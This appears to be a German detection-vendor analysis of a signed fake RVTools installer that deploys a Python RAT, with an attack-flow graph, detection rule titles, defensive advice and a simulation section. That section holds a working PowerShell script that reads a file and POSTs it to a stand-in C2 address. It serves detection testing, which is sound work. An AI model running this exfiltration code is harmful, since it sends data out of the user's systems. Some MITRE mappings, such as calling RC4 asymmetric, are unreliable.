RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein bösartiger MSI-Installer, der mit einem legitimen Zertifikat signiert ist, gibt sich als das von VMware-Administratoren verwendete RVTools-Dienstprogramm aus. Nach der Ausführung legt der Installer ein VBScript ab, das PowerShell startet, um ein großes ZIP-Archiv von Dropbox herunterzuladen. Dieses Archiv enthält eine portable Python-Umgebung, die einen mehrstufigen RAT ausführt, der in der Lage ist, Aufklärung durchzuführen, Persistenz aufrechtzuerhalten und mit festgelegten Kommando- und Kontrollservern zu kommunizieren.
Untersuchung
Die Analyse verfolgte das MSI zu einer benutzerdefinierten VBScript-Aktion, Binary.MyScript.vbs, die einen verschleierten PowerShell-Befehl dekodierte. Dieser Befehl lud ein winp.zip Payload in %APPDATA%, extrahierte Python-Komponenten und Skripte wie collector.py and Pmanager.py, und stellte dann Persistenz über Registry-Run-Schlüssel und eine geplante Aufgabe nach einem Neustart her. Forscher fanden außerdem heraus, dass der RAT gesammelte Daten mit RC4 verschlüsselte und in fünfminütigen Intervallen zu fünf festen IP-Adressen sendete.
Minderung
Organisationen sollten eine strikte Code-Signatur-Validierung mit Live-OCSP- oder CRL-Prüfungen durchsetzen, die Ausführung von nicht vertrauenswürdigen MSIs blockieren und nach verdächtigen benutzerdefinierten VBScript-Aktionen in Installer-Paketen überwachen. Verteidiger sollten auch die automatische Ausführung heruntergeladener Skripte verhindern, nach neuen Run-Key-Einträgen und der Erstellung geplanter Aufgaben Ausschau halten und bei ausgehendem Datenverkehr zu unbekannten, fest codierten IP-Adressen Alarm schlagen.
Reaktion
Falls diese Aktivität erkannt wird, das betroffene Endgerät sofort isolieren, das MSI, das VBScript und die extrahierten Payload-Dateien für die forensische Analyse sammeln und alle Persistenz-Artefakte, einschließlich Run-Key und geplanter Aufgabe, entfernen. Die identifizierten Kommando- und Kontroll-IP-Adressen sollten an der Firewall blockiert werden, und eine umfassendere Überprüfung von Anmeldeinformationen und Aktivitäten im Active Directory sollte durchgeführt werden, um festzustellen, ob seitliche Bewegungen stattgefunden haben.
„graph TB
%% Klassendefinitionen
classDef phase fill:#99ccff
classDef technique fill:#ffcc99
classDef tool fill:#cccccc
classDef artifact fill:#e0e0e0
classDef persistence fill:#c2f0c2
classDef c2 fill:#f9c2c2
classDef evasion fill:#f0e68c
%% Phasen
phase_initial_access[„Phase: Erstzugriff
Aktion – Opfer führt ein signiertes, bösartiges MSI aus, das sich als RVTools ausgibt.“]
class phase_initial_access phase
phase_execution[„Phase: Ausführung
Aktion – MSI verwendet Msiexec, um ein VBScript auszuführen, das einen versteckten PowerShell-Downloader startet.“]
class phase_execution phase
phase_payload[„Phase: Payload-Bereitstellung
Aktion – Archiv wird in eine portable WinPython-Umgebung entpackt, die collector.py und manager.py enthält.“]
class phase_payload phase
phase_persistence[„Phase: Persistenz
Aktion – Python-Manager erstellt Registry-Run-Schlüssel, geplante Aufgabe und Active-Setup-Eintrag.“]
class phase_persistence phase
phase_c2[„Phase: Kommando und Kontrolle
Aktion – Gesammelte Daten werden archiviert, mit RC4 verschlüsselt und über HTTP POST an fest codierte IPs exfiltriert.“]
class phase_c2 phase
phase_evasion[„Phase: Verteidigungsausweichung
Aktion – Verwendung signierter Binärdateien, Proxy-Ausführung und Zeichenverschleierung, um Erkennungen zu umgehen.“]
class phase_evasion phase
%% Techniken für Erstzugriff
tech_user_execution[„Technik T1204.002 Benutzerausführung: Bösartige Datei
Opfer führt eine bösartige Datei aus, die er für legitim hält.“]
class tech_user_execution technique
tech_masquerading[„Technik T1036.001 Maskierung
Binärdatei ist signiert und benannt wie ein legitimes Dienstprogramm (RVTools).“]
class tech_masquerading technique
tech_trusted_dev_proxy[„Technik T1127 Vertrauenswürdige Entwickler-Dienstprogramme Proxy-Ausführung
Signierte Binärdatei wird verwendet, um Reputationsprüfungen zu umgehen.“]
class tech_trusted_dev_proxy technique
%% Techniken für Ausführung
tech_msiexec_proxy[„Technik T1218.007 System-Binary-Proxy-Ausführung: Msiexec
Msiexec wird aufgerufen, um das bösartige MSI auszuführen.“]
class tech_msiexec_proxy technique
tech_vbscript[„Technik T1059.005 Kommando- und Skript-Interpreter: Visual Basic
Benutzerdefinierte Aktion startet ein VBScript-Payload.“]
class tech_vbscript technique
tech_powershell[„Technik T1059.001 Kommando- und Skript-Interpreter: PowerShell
VBScript dekodiert und führt einen versteckten PowerShell-Download-Befehl aus.“]
class tech_powershell technique
%% Techniken für Payload-Bereitstellung
tech_archive_custom[„Technik T1560.003 Archivierte gesammelte Daten: Archiv über benutzerdefinierte Methode
33 MB Zip (winp.zip) wird heruntergeladen und entpackt, um eine portable Python-Umgebung zu erstellen.“]
class tech_archive_custom technique
%% Techniken für Persistenz
tech_registry_run[„Technik T1037.004 Boot- oder Anmeldeinitialisierungsskripte: Registry-Run
Registry-Run-Schlüssel wird erstellt, um manager.py beim Start auszuführen.“]
class tech_registry_run persistence
tech_scheduled_task[„Technik T1053 Geplante Aufgabe/Job
Tägliche geplante Aufgabe wird erstellt, um mit SYSTEM-Berechtigungen auszuführen.“]
class tech_scheduled_task persistence
tech_active_setup[„Technik T1547.014 Boot- oder Anmelde-Autostart-Ausführung: Active Setup
Active-Setup-Eintrag wird hinzugefügt, um die Ausführung für jeden Benutzer sicherzustellen.“]
class tech_active_setup persistence
tech_hijack_execution[„Technik T1574 Ausführungspfad-Hijacking
Geplante Aufgabe wird verwendet, um normale Ausführungspfade zu entführen.“]
class tech_hijack_execution evasion
%% Techniken für Kommando und Kontrolle
tech_exfil_unencrypted[„Technik T1048.003 Exfiltration über unverschlüsseltes Nicht-C2-Protokoll
Daten werden über HTTP POST an fest codierte IP-Adressen gesendet.“]
class tech_exfil_unencrypted c2
tech_exfil_asymmetric[„Technik T1048.002 Exfiltration über asymmetrisch verschlüsseltes Nicht-C2-Protokoll
Daten werden vor der Übertragung mit RC4 verschlüsselt.“]
class tech_exfil_asymmetric c2
%% Techniken für Verteidigungsausweichung
tech_system_script_proxy[„Technik T1216.002 System-Skript-Proxy-Ausführung: SyncAppvPublishingServer
Vertrauenswürdige Skripte fungieren als Proxys, um bösartige Aktivitäten zu verbergen.“]
class tech_system_script_proxy evasion
tech_system_binary_proxy[„Technik T1218 System-Binary-Proxy-Ausführung
Signierte Dienstprogramme (Msiexec) werden missbraucht, um Anwendungssteuerungen zu umgehen.“]
class tech_system_binary_proxy evasion
%% Artefakte
artifact_msi[„Artefakt: bösartige_RVTools.msi
Signiertes MSI zur Eingangsgewinnung verwendet.“]
class artifact_msi artifact
artifact_zip[„Artefakt: winp.zip
Dropbox-gehostetes Archiv mit portablem WinPython.“]
class artifact_zip artifact
artifact_python_env[„Artefakt: WinPython-Umgebung
Enthält collector.py und manager.py zur Aufklärung.“]
class artifact_python_env artifact
artifact_registry_key[„Artefakt: Registry-Run-Schlüssel
HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr“]
class artifact_registry_key artifact
artifact_scheduled_task[„Artefakt: Geplante Aufgabe
Name: WinPythonDaily, läuft mit SYSTEM.“]
class artifact_scheduled_task artifact
artifact_active_setup[„Artefakt: Active Setup-Eintrag
HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython“]
class artifact_active_setup artifact
artifact_c2_ip[„Artefakt: C2-IP-Adressen
Fest codierte IPv4-Adressen, die über HTTP kontaktiert werden.“]
class artifact_c2_ip artifact
%% Verbindungen
phase_initial_access –>|verwendet| tech_user_execution
phase_initial_access –>|verwendet| tech_masquerading
phase_initial_access –>|verwendet| tech_trusted_dev_proxy
phase_initial_access –>|liefert| artifact_msi
tech_user_execution –>|führt aus| artifact_msi
tech_masquerading –>|ermöglicht| artifact_msi
tech_trusted_dev_proxy –>|umgeht| artifact_msi
phase_execution –>|nutzt| tech_msiexec_proxy
tech_msiexec_proxy –>|führt aus| tech_vbscript
tech_vbscript –>|startet| tech_powershell
tech_powershell –>|lädt herunter| artifact_zip
artifact_zip –>|entpackt zu erstellen| artifact_python_env
phase_payload –>|enthält| artifact_python_env
phase_persistence –>|erstellt| tech_registry_run
phase_persistence –>|erstellt| tech_scheduled_task
phase_persistence –>|erstellt| tech_active_setup
phase_persistence –>|verwendet| tech_hijack_execution
tech_registry_run –>|schreibt| artifact_registry_key
tech_scheduled_task –>|erstellt| artifact_scheduled_task
tech_active_setup –>|schreibt| artifact_active_setup
phase_c2 –>|archiviert und verschlüsselt Daten| tech_archive_custom
tech_archive_custom –>|sendet über| tech_exfil_unencrypted
tech_exfil_unencrypted –>|verwendet| artifact_c2_ip
tech_exfil_unencrypted –>|verwendet auch| tech_exfil_asymmetric
phase_evasion –>|wendet an| tech_system_script_proxy
phase_evasion –>|wendet an| tech_system_binary_proxy
tech_system_binary_proxy –>|erleichtert| tech_msiexec_proxy
tech_system_script_proxy –>|erleichtert| tech_vbscript
„
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (über Prozesserstellung)
Anzeigen
Python-Ausführung aus verdächtigen Ordnern (über cmdline)
Anzeigen
Möglichkeit der Ausführung durch versteckte PowerShell-Befehlszeilen (über cmdline)
Anzeigen
Ein Archiv wurde mit Powershell in ein verdächtiges Verzeichnis entpackt (über powershell)
Anzeigen
Mögliche Dropbox-API-Subdomains-DNS-Abfragen, die von nicht legitimen Prozessen initiiert wurden (über dns_query)
Anzeigen
IOCs (HashSha256) zur Erkennung: RVTools-Maskerade: Wie ein signierter Fake-Installer einen modularen Python-RAT bereitstellt
Anzeigen
IOCs (HashMd5) zur Erkennung: RVTools-Maskerade: Wie ein signierter Fake-Installer einen modularen Python-RAT bereitstellt
Anzeigen
Erkennung der Datenexfiltration über fest codierte IPs und HTTP POST [Windows-Netzwerkverbindung]
Anzeigen
Erkennung der bösartigen PowerShell-versteckten Ausführung und Invoke-WebRequest [Windows Powershell]
Anzeigen
Verdächtiger RVTools-Fake-Installer, der Python RAT bereitstellt [Windows-Prozesserstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Baseline-Preflight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Gegner, der bereits einen Fuß auf der Opfermaschine etabliert hat, entscheidet sich, einen kleinen Datensatz zu exfiltrieren (z.B.,C:Tempsecret.txt). Um zu vermeiden, generische Alarme für ausgehenden Verkehr auszulösen, verwendet der Akteur einen PowerShell Einzeiler, der einen HTTP-POST direkt zu einer der fest codierten C2-IPs durchführt (192.0.2.10). Der Befehl wird über eine Windows Geplante Aufgabe eingeplant, um Persistenz sicherzustellen (T1546.013). Keine zusätzlichen Binärdateien werden abgelegt, wodurch die Aktivität „living-off-the-land“ bleibt. -
Regressionstest-Skript:
# ------------------------------------------------- # PowerShell-Skript – Datenexfiltration über fest codierte IP # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Sicherstellen, dass die Datei existiert (Dummy-Daten für Test erstellen) if (-Not (Test-Path $file)) { "sensible Daten $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Dateiinhalte lesen und Base64-verschlüsseln $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # HTTP-POST ausführen $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Exfiltrationsversuch gesendet an $c2Ip" } catch { Write-Error "Exfiltration fehlgeschlagen: $_" } -
Bereinigungskommandos:
# Entfernen der Dummy-Datei Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Löschen Sie alle für den Test erstellten geplanten Aufgaben (falls vorhanden) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }